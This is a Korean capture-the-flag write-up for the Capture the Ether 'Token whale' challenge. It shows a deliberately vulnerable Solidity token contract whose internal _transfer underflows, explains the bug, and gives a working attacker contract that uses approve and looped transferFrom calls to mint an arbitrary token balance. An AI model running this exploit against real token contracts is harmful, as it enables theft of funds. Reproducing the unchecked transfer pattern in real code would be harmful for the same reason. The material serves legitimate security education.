Capture the ether-Token whale
pragma solidity ^0.4.21;
contract TokenWhaleChallenge {
address player;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "Simple ERC20 Token";
string public symbol = "SET";
uint8 public decimals = 18;
function TokenWhaleChallenge(address _player) public {
player = _player;
totalSupply = 1000;
balanceOf[player] = 1000;
}
function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000;
}
event Transfer(address indexed from, address indexed to, uint256 value);
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}
function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
_transfer(to, value);
}
event Approval(address indexed owner, address indexed spender, uint256 value);
function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}
function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);
allowance[from][msg.sender] -= value;
_transfer(to, value);
}
}처음에 1000개의 토큰을 소유하고 있다. 1000000 개의 토큰을 얻어내라.
풀이
solidity 0.4.21 버전을 이용하기에, SafeMath가 자동으로 적용되지 않는다.
function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);
allowance[from][msg.sender] -= value;
_transfer(to, value);
}transferFrom 함수에서 allowance[from][msg.sender] -= value; 를 계산한다.
transferFrom은 from → to로, from의 잔고를 꺼내 to에게 주는 것이다. 그런데 여기서는 _transfer(to, value);를 호출하고 있다.
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}_transfer 함수는 from → to 가 아니라 msg.sender → to 로 전송한다. _transfer를 호출하는 transfer나 transferFrom 함수에서는 언더플로우 여부를 체크하지만 _transfer에서는 체크하지 않는다. msg.sender에게 실제로 잔고가 없더라도 무한생성해낼 수 있다.
transferFrom의 호출 조건을 맞춰준 뒤 transferFrom를 호출하면 된다.
function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value); // balanceOf[from] 언더플로우 체크
require(balanceOf[to] + value >= balanceOf[to]); // balanceOf[to] 오버플로우 체크
require(allowance[from][msg.sender] >= value); // allowance 언더플로우 체크
allowance[from][msg.sender] -= value;
_transfer(to, value); // msg.sender -> to 전송 처리
}- allowance 값을 먼저 크게 넣어둔다.
approve호출 시 balance 체크를 하지 않으므로 소유한 것보다 많이 approve 할 수 있다. - player 와 다른 주소로 transferFrom을 호출한다. value는 player가 가지고 있는 토큰 수가 최대이다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface TokenWhaleChallenge {
function approve(address spender, uint256 value) external;
function transferFrom(address from, address to, uint256 value) external;
function balanceOf(address user) external returns (uint256);
}
contract TokenWhaleSolver {
address payable public owner;
TokenWhaleChallenge public problem;
constructor (address _problem) {
owner = payable(msg.sender);
problem = TokenWhaleChallenge(payable(_problem));
}
function solve() public {
// uint256 UINT_MAX = 2**256 - 1;
// problem.approve(address(this), UINT_MAX); // execute this with player account, at problem contract.
uint256 balance = problem.balanceOf(owner);
while(balance < 1000000){
problem.transferFrom(owner, owner, balance);
balance = problem.balanceOf(owner);
}
extract();
}
function extract() public {
owner.transfer(address(this).balance);
}
receive() external payable { }
}다음은 공격 코드이다. 컨트랙트를 이용하면 자연스럽게 player와 다른 주소를 이용하게 된다. 귀찮아서 approve는 직접 호출하도록 했다. player 계정으로 문제 컨트랙트에 직접 approve 컨트랙트 콜을 한 뒤 solve를 호출해야 한다.
tags: writeup, blockchain, solidity, smart contract, integer overflow underflow, solidity safemath